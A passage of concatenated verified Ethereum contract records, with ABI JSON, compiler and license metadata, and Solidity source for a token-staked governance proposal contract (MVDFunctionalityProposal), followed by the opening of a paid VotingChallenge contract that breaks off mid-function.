preConditionCheck(string calldata codeName, bytes calldata data, uint8 submitable, address sender, uint256 value) external view returns(address location, bytes memory payload); function setupFunctionality(address proposalAddress) external returns (bool); }

[{"inputs":[{"internalType":"string","name":"codeName","type":"string"},{"internalType":"address","name":"location","type":"address"},{"internalType":"string","name":"methodSignature","type":"string"},{"internalType":"string","name":"returnAbiParametersArray","type":"string"},{"internalType":"string","name":"replaces","type":"string"},{"internalType":"address","name":"proxy","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"voter","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Accept","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"voter","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"MoveToAccept","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"voter","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"MoveToRefuse","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"voter","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Refuse","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"voter","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"RetireAccept","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"voter","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"RetireAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"voter","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"RetireRefuse","type":"event"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"accept","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"m","type":"string"}],"name":"formatReturnAbiParametersArray","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getCodeName","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sourceLocation","type":"address"},{"internalType":"uint256","name":"sourceLocationId","type":"uint256"},{"internalType":"address","name":"location","type":"address"}],"name":"getFirstJSONPart","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getLocation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMethodSignature","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getProposer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getProxy","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getReplaces","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getReturnAbiParametersArray","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSourceLocation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSourceLocationId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSurveyDuration","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSurveyEndBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"getVote","outputs":[{"internalType":"uint256","name":"accept","type":"uint256"},{"internalType":"uint256","name":"refuse","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getVotesHardCapToReach","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"codeName","type":"string"},{"internalType":"address","name":"location","type":"address"},{"internalType":"string","name":"methodSignature","type":"string"},{"internalType":"string","name":"returnAbiParametersArray","type":"string"},{"internalType":"string","name":"replaces","type":"string"},{"internalType":"address","name":"proxy","type":"address"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isDisabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isEmergency","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isInternal","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isSubmitable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTerminated","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isVotesHardCapReached","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"moveToAccept","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"moveToRefuse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"needsSender","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"refuse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"retireAccept","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retireAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"retireRefuse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"set","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"emergency","type":"bool"},{"internalType":"address","name":"sourceLocation","type":"address"},{"internalType":"uint256","name":"sourceLocationId","type":"uint256"},{"internalType":"bool","name":"submitable","type":"bool"},{"internalType":"bool","name":"isInternal","type":"bool"},{"internalType":"bool","name":"needsSender","type":"bool"},{"internalType":"address","name":"proposer","type":"address"},{"internalType":"uint256","name":"votesHardCap","type":"uint256"}],"name":"setCollateralData","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"start","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"terminate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"toJSON","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"toString","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"_i","type":"uint256"}],"name":"toString","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bytes","name":"bs","type":"bytes"}],"name":"toUint256","outputs":[{"internalType":"uint256","name":"x","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.6.8+commit.0bbfe453

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Default

MIT

ipfs://cc7f3bf856466276233180424b6f508fe3d144c7a0a548366500787677c07fa5

MVDFunctionalityProposal

IMVDFunctionalityProposal.sol

0xef603e8eb2df80d9dcd76dc922c665fe1923911f

Solidity

pragma solidity ^0.6.0; interface IMVDFunctionalityProposal { function init(string calldata codeName, address location, string calldata methodSignature, string calldata returnAbiParametersArray, string calldata replaces, address proxy) external; function setCollateralData(bool emergency, address sourceLocation, uint256 sourceLocationId, bool submitable, bool isInternal, bool needsSender, address proposer, uint256 votesHardCap) external; function getProxy() external view returns(address); function getCodeName() external view returns(string memory); function isEmergency() external view returns(bool); function getSourceLocation() external view returns(address); function getSourceLocationId() external view returns(uint256); function getLocation() external view returns(address); function isSubmitable() external view returns(bool); function getMethodSignature() external view returns(string memory); function getReturnAbiParametersArray() external view returns(string memory); function isInternal() external view returns(bool); function needsSender() external view returns(bool); function getReplaces() external view returns(string memory); function getProposer() external view returns(address); function getSurveyEndBlock() external view returns(uint256); function getSurveyDuration() external view returns(uint256); function isVotesHardCapReached() external view returns(bool); function getVotesHardCapToReach() external view returns(uint256); function toJSON() external view returns(string memory); function getVote(address addr) external view returns(uint256 accept, uint256 refuse); function getVotes() external view returns(uint256, uint256); function start() external; function disable() external; function isDisabled() external view returns(bool); function isTerminated() external view returns(bool); function accept(uint256 amount) external; function retireAccept(uint256 amount) external; function moveToAccept(uint256 amount) external; function refuse(uint256 amount) external; function retireRefuse(uint256 amount) external; function moveToRefuse(uint256 amount) external; function retireAll() external; function withdraw() external; function terminate() external; function set() external; event Accept(address indexed voter, uint256 amount); event RetireAccept(address indexed voter, uint256 amount); event MoveToAccept(address indexed voter, uint256 amount); event Refuse(address indexed voter, uint256 amount); event RetireRefuse(address indexed voter, uint256 amount); event MoveToRefuse(address indexed voter, uint256 amount); event RetireAll(address indexed voter, uint256 amount); }

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nputs":[{"internalType":"string","name":"codeName","type":"string"},{"internalType":"address","name":"location","type":"address"},{"internalType":"string","name":"methodSignature","type":"string"},{"internalType":"string","name":"returnAbiParametersArray","type":"string"},{"internalType":"string","name":"replaces","type":"string"},{"internalType":"address","name":"proxy","type":"address"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isDisabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isEmergency","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isInternal","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isSubmitable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTerminated","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isVotesHardCapReached","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"moveToAccept","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"moveToRefuse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"needsSender","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"refuse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"retireAccept","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retireAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"retireRefuse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"set","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"emergency","type":"bool"},{"internalType":"address","name":"sourceLocation","type":"address"},{"internalType":"uint256","name":"sourceLocationId","type":"uint256"},{"internalType":"bool","name":"submitable","type":"bool"},{"internalType":"bool","name":"isInternal","type":"bool"},{"internalType":"bool","name":"needsSender","type":"bool"},{"internalType":"address","name":"proposer","type":"address"},{"internalType":"uint256","name":"votesHardCap","type":"uint256"}],"name":"setCollateralData","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"start","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"terminate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"toJSON","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"toString","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"_i","type":"uint256"}],"name":"toString","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bytes","name":"bs","type":"bytes"}],"name":"toUint256","outputs":[{"internalType":"uint256","name":"x","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.6.8+commit.0bbfe453

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Default

MIT

ipfs://cc7f3bf856466276233180424b6f508fe3d144c7a0a548366500787677c07fa5

MVDFunctionalityProposal

MVDFunctionalityProposal.sol

0xef603e8eb2df80d9dcd76dc922c665fe1923911f

Solidity

pragma solidity ^0.6.0; import "./IMVDFunctionalityProposal.sol"; import "./IMVDProxy.sol"; import "./IERC20.sol"; contract MVDFunctionalityProposal is IMVDFunctionalityProposal{ bool private _collateralDataSet; address private _proxy; address private _token; string private _codeName; bool private _emergency; address private _sourceLocation; uint256 private _sourceLocationId; address private _location; bool private _submitable; string private _methodSignature; string private _returnAbiParametersArray; bool private _isInternal; bool private _needsSender; string private _replaces; uint256 private _surveyEndBlock; uint256 private _surveyDuration; bool private _terminated; address private _proposer; bool private _disabled; mapping(address => uint256) private _accept; mapping(address => uint256) private _refuse; uint256 private _totalAccept; uint256 private _totalRefuse; mapping(address => bool) private _withdrawed; uint256 private _votesHardCap; bool private _votesHardCapReached; constructor(string memory codeName, address location, string memory methodSignature, string memory returnAbiParametersArray, string memory replaces, address proxy) public { init(codeName, location, methodSignature, returnAbiParametersArray, replaces, proxy); } function init(string memory codeName, address location, string memory methodSignature, string memory returnAbiParametersArray, string memory replaces, address proxy) public override { require(_proxy == address(0), "Already initialized!"); _token = IMVDProxy(_proxy = proxy).getToken(); _codeName = codeName; _location = location; _methodSignature = methodSignature; _returnAbiParametersArray = returnAbiParametersArray; _replaces = replaces; } function setCollateralData(bool emergency, address sourceLocation, uint256 sourceLocationId, bool submitable, bool isInternal, bool needsSender, address proposer, uint256 votesHardCap) public override { require(!_collateralDataSet, "setCollateralData already called!"); require(_proxy == msg.sender, "Only Original Proxy can call this method!"); _sourceLocation = sourceLocation; _sourceLocationId = sourceLocationId; _submitable = submitable; _isInternal = isInternal; _needsSender = needsSender; _proposer = proposer; _surveyDuration = toUint256(IMVDProxy(_proxy).read((_emergency = emergency) ? "getMinimumBlockNumberForEmergencySurvey" : "getMinimumBlockNumberForSurvey", bytes(""))); _votesHardCap = votesHardCap; _collateralDataSet = true; } function getProxy() public override view returns(address) { return _proxy; } function getCodeName() public override view returns(string memory) { return _codeName; } function isEmergency() public override view returns(bool) { return _emergency; } function getSourceLocation() public override view returns(address) { return _sourceLocation; } function getSourceLocationId() public override view returns(uint256) { return _sourceLocationId; } function getLocation() public override view returns(address) { return _location; } function isSubmitable() public override view returns(bool) { return _submitable; } function getMethodSignature() public override view returns(string memory) { return _methodSignature; } function getReturnAbiParametersArray() public override view returns(string memory) { return _returnAbiParametersArray; } function isInternal() public override view returns(bool) { return _isInternal; } function needsSender() public override view returns(bool) { return _needsSender; } function getReplaces() public override view returns(string memory) { return _replaces; } function getProposer() public override view returns(address) { return _proposer; } function getSurveyEndBlock() public override view returns(uint256) { return _surveyEndBlock; } function getSurveyDuration() public override view returns(uint256) { return _surveyDuration; } function getVote(address addr) public override view returns(uint256 accept, uint256 refuse) { accept = _accept[addr]; refuse = _refuse[addr]; } function getVotes() public override view returns(uint256, uint256) { return (_totalAccept, _totalRefuse); } function isTerminated() public override view returns(bool) { return _terminated; } function isDisabled() public override view returns(bool) { return _disabled; } function isVotesHardCapReached() public override view returns(bool) { return _votesHardCapReached; } function getVotesHardCapToReach() public override view returns(uint256) { return _votesHardCap; } function start() public override { require(_collateralDataSet, "Still waiting for setCollateralData to be called!"); require(msg.sender == _proxy, "Only Proxy can call this function!"); require(_surveyEndBlock == 0, "Already started!"); require(!_disabled, "Already disabled!"); _surveyEndBlock = block.number + _surveyDuration; } function disable() public override { require(_collateralDataSet, "Still waiting for setCollateralData to be called!"); require(msg.sender == _proxy, "Only Proxy can call this function!"); require(_surveyEndBlock == 0, "Already started!"); _disabled = true; _terminated = true; } function toJSON() public override view returns(string memory) { return string(abi.encodePacked( '{', getFirstJSONPart(_sourceLocation, _sourceLocationId, _location), '","submitable":', _submitable ? "true" : "false", ',"emergency":', _emergency ? "true" : "false", ',"isInternal":', _isInternal ? "true" : "false", ',"needsSender":', _needsSender ? "true" : "false", ',', getSecondJSONPart(), ',"proposer":"', toString(_proposer), '","endBlock":', toString(_surveyEndBlock), ',"terminated":', _terminated ? "true" : "false", ',"accepted":', toString(_totalAccept), ',"refused":', toString(_totalRefuse), ',"disabled":', _disabled ? 'true' : 'false', '}') ); } function getSecondJSONPart() private view returns (string memory){ return string(abi.encodePacked( '"codeName":"', _codeName, '","methodSignature":"', _methodSignature, '","returnAbiParametersArray":', formatReturnAbiParametersArray(_returnAbiParametersArray), ',"replaces":"', _replaces, '"')); } modifier duringSurvey() { require(_collateralDataSet, "Still waiting for setCollateralData to be called!"); require(!_disabled, "Survey disabled!"); require(!_terminated, "Survey Terminated!"); require(!_votesHardCapReached, "Votes Hard Cap reached!"); require(_surveyEndBlock > 0, "Survey Not Started!"); require(block.number < _surveyEndBlock, "Survey ended!"); _; } modifier onSurveyEnd() { require(_collateralDataSet, "Still waiting for setCollateralData to be called!"); require(!_disabled, "Survey disabled!"); require(_surveyEndBlock > 0, "Survey Not Started!"); if(!_votesHardCapReached) { require(block.number >= _surveyEndBlock, "Survey is still running!"); } _; } function _checkVotesHardCap() private { if(_votesHardCap == 0 || (_totalAccept < _votesHardCap && _totalRefuse < _votesHardCap)) { return; } _votesHardCapReached = true; terminate(); } function accept(uint256 amount) external override duringSurvey { IERC20(_token).transferFrom(msg.sender, address(this), amount); uint256 vote = _accept[msg.sender]; vote += amount; _accept[msg.sender] = vote; _totalAccept += amount; emit Accept(msg.sender, amount); _checkVotesHardCap(); } function retireAccept(uint256 amount) external override duringSurvey { require(_accept[msg.sender] >= amount, "Insufficient funds!"); IERC20(_token).transfer(msg.sender, amount); uint256 vote = _accept[msg.sender]; vote -= amount; _accept[msg.sender] = vote; _totalAccept -= amount; emit RetireAccept(msg.sender, amount); } function moveToAccept(uint256 amount) external override duringSurvey { require(_refuse[msg.sender] >= amount, "Insufficient funds!"); uint256 vote = _refuse[msg.sender]; vote -= amount; _refuse[msg.sender] = vote; _totalRefuse -= amount; vote = _accept[msg.sender]; vote += amount; _accept[msg.sender] = vote; _totalAccept += amount; emit MoveToAccept(msg.sender, amount); _checkVotesHardCap(); } function refuse(uint256 amount) external override duringSurvey { IERC20(_token).transferFrom(msg.sender, address(this), amount); uint256 vote = _refuse[msg.sender]; vote += amount; _refuse[msg.sender] = vote; _totalRefuse += amount; emit Refuse(msg.sender, amount); _checkVotesHardCap(); } function retireRefuse(uint256 amount) external override duringSurvey { require(_refuse[msg.sender] >= amount, "Insufficient funds!"); IERC20(_token).transfer(msg.sender, amount); uint256 vote = _refuse[msg.sender]; vote -= amount; _refuse[msg.sender] = vote; _totalRefuse -= amount; emit RetireRefuse(msg.sender, amount); } function moveToRefuse(uint256 amount) external override duringSurvey { require(_accept[msg.sender] >= amount, "Insufficient funds!"); uint256 vote = _accept[msg.sender]; vote -= amount; _accept[msg.sender] = vote; _totalAccept -= amount; vote = _refuse[msg.sender]; vote += amount; _refuse[msg.sender] = vote; _totalRefuse += amount; emit MoveToRefuse(msg.sender, amount); _checkVotesHardCap(); } function retireAll() external override duringSurvey { require(_accept[msg.sender] + _refuse[msg.sender] > 0, "No votes!"); uint256 acpt = _accept[msg.sender]; uint256 rfs = _refuse[msg.sender]; IERC20(_token).transfer(msg.sender, acpt + rfs); _accept[msg.sender] = 0; _refuse[msg.sender] = 0; _totalAccept -= acpt; _totalRefuse -= rfs; emit RetireAll(msg.sender, acpt + rfs); } function withdraw() external override onSurveyEnd { if(!_terminated && !_disabled) { terminate(); return; } _withdraw(true); } function terminate() public override onSurveyEnd { require(!_terminated, "Already terminated!"); IMVDProxy(_proxy).setProposal(); _withdraw(false); } function _withdraw(bool launchError) private { require(!launchError || _accept[msg.sender] + _refuse[msg.sender] > 0, "Nothing to Withdraw!"); require(!launchError || !_withdrawed[msg.sender], "Already Withdrawed!"); if(_accept[msg.sender] + _refuse[msg.sender] > 0 && !_withdrawed[msg.sender]) { IERC20(_token).transfer(msg.sender, _accept[msg.sender] + _refuse[msg.sender]); _withdrawed[msg.sender] = true; } } function set() public override onSurveyEnd { require(msg.sender == _proxy, "Unauthorized Access!"); require(!_terminated, "Already terminated!"); _terminated = true; } function toUint256(bytes memory bs) public pure returns(uint256 x) { if(bs.length >= 32) { assembly { x := mload(add(bs, add(0x20, 0))) } } } function toString(address _addr) public pure returns(string memory) { bytes32 value = bytes32(uint256(_addr)); bytes memory alphabet = "0123456789abcdef"; bytes memory str = new bytes(42); str[0] = '0'; str[1] = 'x'; for (uint i = 0; i < 20; i++) { str[2+i*2] = alphabet[uint(uint8(value[i + 12] >> 4))]; str[3+i*2] = alphabet[uint(uint8(value[i + 12] & 0x0f))]; } return string(str); } function toString(uint _i) public pure returns(string memory) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } function getFirstJSONPart(address sourceLocation, uint256 sourceLocationId, address location) public pure returns(bytes memory) { return abi.encodePacked( '"sourceLocation":"', toString(sourceLocation), '","sourceLocationId":', toString(sourceLocationId), ',"location":"', toString(location) ); } function formatReturnAbiParametersArray(string memory m) public pure returns(string memory) { bytes memory b = bytes(m); if(b.length < 2) { return "[]"; } if(b[0] != bytes1("[")) { return "[]"; } if(b[b.length - 1] != bytes1("]")) { return "[]"; } return m; } }

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nputs":[{"internalType":"string","name":"codeName","type":"string"},{"internalType":"address","name":"location","type":"address"},{"internalType":"string","name":"methodSignature","type":"string"},{"internalType":"string","name":"returnAbiParametersArray","type":"string"},{"internalType":"string","name":"replaces","type":"string"},{"internalType":"address","name":"proxy","type":"address"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isDisabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isEmergency","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isInternal","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isSubmitable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTerminated","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isVotesHardCapReached","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"moveToAccept","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"moveToRefuse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"needsSender","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"refuse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"retireAccept","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retireAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"retireRefuse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"set","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"emergency","type":"bool"},{"internalType":"address","name":"sourceLocation","type":"address"},{"internalType":"uint256","name":"sourceLocationId","type":"uint256"},{"internalType":"bool","name":"submitable","type":"bool"},{"internalType":"bool","name":"isInternal","type":"bool"},{"internalType":"bool","name":"needsSender","type":"bool"},{"internalType":"address","name":"proposer","type":"address"},{"internalType":"uint256","name":"votesHardCap","type":"uint256"}],"name":"setCollateralData","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"start","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"terminate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"toJSON","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"toString","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"_i","type":"uint256"}],"name":"toString","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bytes","name":"bs","type":"bytes"}],"name":"toUint256","outputs":[{"internalType":"uint256","name":"x","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.6.8+commit.0bbfe453

00000000000000000000000000000000000000000000000000000000000000c00000000000000000000000001163da0d368b40f95bd2b86914581a13def31d5400000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000160000000000000000000000000a0382590df0aac6a64772ef24f928e50f1aeb3b50000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001463616c6c4f6e6554696d6528616464726573732900000000000000000000000000000000000000000000000000000000000000000000000000000000000000025b5d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

Default

MIT

ipfs://cc7f3bf856466276233180424b6f508fe3d144c7a0a548366500787677c07fa5

VotingChallengeProxy

VotingChallengeProxy.sol

0xa81d21174a4f53308530958017b36cbbdfb83d92

Solidity

pragma solidity ^0.4.17; /** This contract represents a sort of time-limited challenge, where users can vote for some candidates. After the deadline comes the contract will define a winner and vote holders can get their reward. **/ contract VotingChallenge { uint public challengeDuration; uint public challengePrize; uint public creatorPrize; uint public cryptoVersusPrize; uint public challengeStarted; uint public candidatesNumber; address public creator; uint16 public creatorFee; // measured in in tenths of a percent address public cryptoVersusWallet; uint16 public cryptoVersusFee; // measured in in tenths of a percent uint public winner; bool public isVotingPeriod; bool public beforeVoting; uint[] public votes; mapping( address => mapping (uint => uint)) public userVotesDistribution; uint private lastPayment; // Modifiers modifier inVotingPeriod() { require(isVotingPeriod); _; } modifier afterVotingPeriod() { require(!isVotingPeriod); _; } modifier onlyCreator() { require(msg.sender == creator); _; } // Events event ChallengeBegins(address _creator, uint16 _creatorFee, uint _candidatesNumber, uint _challengeDuration); event NewVotesFor(address _participant, uint _candidate, uint _votes); event TransferVotes(address _from, address _to, uint _candidateIndex, uint _votes); event EndOfChallenge(uint _winner, uint _winnerVotes, uint _challengePrize); event RewardWasPaid(address _participant, uint _amount); event CreatorRewardWasPaid(address _creator, uint _amount); event CryptoVersusRewardWasPaid(address _cryptoVersusWallet, uint _amount); // Constructor constructor(uint _challengeDuration, uint _candidatesNumber, uint16 _creatorFee) public { challengeDuration = _challengeDuration; candidatesNumber = _candidatesNumber; votes.length = candidatesNumber + 1; // we will never use the first elements of array (with zero index) creator = msg.sender; cryptoVersusWallet = 0xa0bedE75cfeEF0266f8A31b47074F5f9fBE1df80; creatorFee = _creatorFee; cryptoVersusFee = 25; beforeVoting = true; // Check that creatorFee and cryptoVersusFee are less than 1000 if(creatorFee > 1000) { creatorFee = 1000; cryptoVersusFee = 0; return; } if(cryptoVersusFee > 1000) { cryptoVersusFee = 1000; creatorFee = 0; return; } if(creatorFee + cryptoVersusFee > 1000) { cryptoVersusFee = 1000 - creatorFee; } } // Last block timestamp getter function getTime() public view returns (uint) { return now; } function getAllVotes() public view returns (uint[]) { return votes; } // Start challenge function startChallenge() public onlyCreator { require(beforeVoting); isVotingPeriod = true; beforeVoting = false; challengeStarted = now; emit ChallengeBegins(creator, creatorFee, candidatesNumber, challengeDuration); } // Change creator address function changeCreator(address newCreator) public onlyCreator { creator = newCreator; } // Change Crypto Versus wallet address function changeWallet(address newWallet) public { require(msg.sender == cryptoVersusWallet); cryptoVersusWallet = newWallet; } // Vote for candidate function voteForCandidate(uint candidate) public payable inVotingPeriod { require(candidate <= candidatesNumber); require(candidate > 0); require(msg.value > 0); lastPayment = msg.value; if(checkEndOfChallenge()) { msg.sender.transfer(lastPayment); return; } lastPayment = 0; // Add new votes for community votes[candidate] += msg.value; // Change the votes distribution userVotesDistribution[msg.sender][candidate] += msg.value; // Fire the event emit NewVotesFor(msg.sender, candidate, msg.value); } // Vote for candidate function voteForCandidate_(uint candidate, address sender) public payable inVotingPeriod { require(candidate <= candidatesNumber); require(candidate > 0); require(msg.value > 0); lastPayment = msg.value; 